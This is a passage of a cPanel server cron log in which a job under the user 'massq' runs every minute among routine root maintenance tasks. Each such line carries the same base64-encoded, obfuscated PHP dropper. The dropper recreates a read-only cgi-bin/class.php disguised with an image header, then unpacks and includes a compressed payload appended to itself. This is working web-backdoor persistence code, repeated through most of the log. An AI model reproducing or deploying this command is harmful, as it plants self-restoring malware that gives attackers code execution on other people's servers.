lMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:08:01 server CROND[22114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:09:01 server CROND[22179]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 13:09:01 server CROND[22178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:10:01 server CROND[22238]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 13:10:01 server CROND[22240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:10:01 server CROND[22239]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 13:10:01 server CROND[22241]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 13:11:01 server CROND[22449]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:12:01 server CROND[22503]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 13:12:01 server CROND[22504]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:13:01 server CROND[22607]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:14:01 server CROND[22674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:15:01 server CROND[22785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:15:01 server CROND[22786]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 13:15:01 server CROND[22787]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 13:16:01 server CROND[22901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:17:01 server CROND[23057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:18:01 server CROND[23112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:19:01 server CROND[23175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:20:01 server CROND[23232]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 13:20:01 server CROND[23234]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 13:20:01 server CROND[23236]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 13:20:01 server CROND[23233]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 13:20:01 server CROND[23235]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
